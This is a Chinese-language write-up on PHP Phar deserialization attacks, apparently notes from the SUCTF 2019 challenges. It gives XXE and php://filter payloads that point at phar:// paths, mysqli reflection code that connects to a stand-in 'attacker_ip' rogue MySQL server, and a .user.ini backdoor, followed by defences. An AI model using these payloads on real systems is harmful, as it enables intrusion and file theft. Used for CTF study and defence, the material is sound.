SUCTF 2019 出题笔记 & phar 反序列化的一些拓展
字数 1510 2025-08-26 22:12:02
Phar反序列化漏洞深入分析与利用技巧
1. 基础概念与背景
Phar反序列化漏洞是PHP中一种特殊的攻击面,通过Phar文件格式的特性触发反序列化操作。Phar(PHP Archive)是PHP的归档文件格式,类似于Java的JAR文件,可以包含PHP代码、资源和元数据。
关键特性:
- Phar文件包含序列化的元数据(stub、manifest和file contents)
- 当PHP操作Phar文件时(如file_exists()、fopen()等),会自动反序列化元数据
- 攻击者可以构造恶意Phar文件触发目标应用中的反序列化链
2. 核心触发点分析
2.1 传统触发函数
常见的触发Phar反序列化的函数包括:
- 文件系统函数:file_exists()、fopen()、file_get_contents()等
- 图像处理函数:getimagesize()、exif_thumbnail()等
2.2 新发现的触发函数
研究发现以下Fileinfo相关函数也可触发Phar反序列化:
// fileinfo.c 中的关键调用链
finfo_file() → _php_finfo_get_type() → php_stream_open_wrapper_ex()
finfo_buffer()
mime_content_type()
这些函数通过_php_finfo_get_type间接调用php_stream_open_wrapper_ex(),从而支持phar://协议触发反序列化。
3. 高级利用技巧
3.1 通过php://filter绕过限制
研究发现php://filter伪协议也可用于触发Phar反序列化:
// 示例利用方式
include('php://filter/read=convert.base64-encode/resource=phar://test.phar');
这种方法可以绕过一些文件内容检查或文件头限制。
3.2 XXE到Phar反序列化
即使禁用了外部实体加载(libxml_disable_entity_loader(true)),仍可通过XXE触发Phar反序列化:
<!-- 恶意XML示例 -->
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "phar:///path/to/file"> ]>
<x>&xxe;</x>
或使用php://filter:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=phar:///path/to/file"> ]>
3.3 MySQL客户端攻击链
通过MySQL客户端函数触发Phar反序列化:
// 利用Reflection构造恶意MySQL连接
$reflect = new ReflectionClass('Mysqli');
$sql = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod('Mysqli', 'init');
$reflectionMethod->invoke($sql, $arr);
$reflectionMethod = new ReflectionMethod('Mysqli', 'real_connect');
$reflectionMethod->invoke($sql, 'attacker_ip','root','pass','db','3306');
$reflectionMethod = new ReflectionMethod('Mysqli', 'query');
$reflectionMethod->invoke($sql, 'select 1');
这种攻击利用了MySQL客户端的MYSQLI_OPT_LOCAL_INFILE设置覆盖特性。
4. 防御措施
-
禁用Phar流包装器:
stream_wrapper_unregister('phar'); -
严格验证文件内容:
- 检查文件头而非仅依赖扩展名
- 使用getimagesize()等函数验证图像文件完整性
-
限制反序列化操作:
- 避免使用unserialize()处理用户输入
- 使用json_decode()等替代方案
-
更新PHP版本:
- 新版PHP对Phar处理有更多安全限制
-
配置php.ini:
phar.readonly = On
5. 实际案例分析
5.1 SUCTF 2019 CheckIn题目
利用.user.ini文件构成的PHP后门:
; .user.ini内容
auto_prepend_file=01.gif
; 01.gif实际是包含恶意代码的Phar文件
5.2 SUCTF 2019 Upload Labs 2题目
预期解法:
- 上传恶意Phar文件(伪装为图像)
- 通过文件操作触发反序列化
- 利用反射类构造攻击链
6. 研究资源与参考
- [利用phar拓展php反序列化漏洞攻击面 - @seaii]
- [Phar与Stream Wrapper造成PHP RCE的深入挖掘 - @zsx]
- [Comprehensive analysis of the mysql client attack chain - @LoRexxar]
- [Black Hat USA 2019 - HostSplit: Exploitable Antipatterns in Unicode Normalization]
7. 总结
Phar反序列化漏洞展示了PHP生态中协议处理和反序列化机制的深层安全问题。随着研究的深入,不断有新的触发点和利用方式被发现,安全开发人员需要保持警惕,采取多层次防御措施。对于CTF选手和安全研究人员,理解这些机制有助于发现和利用更复杂的漏洞链。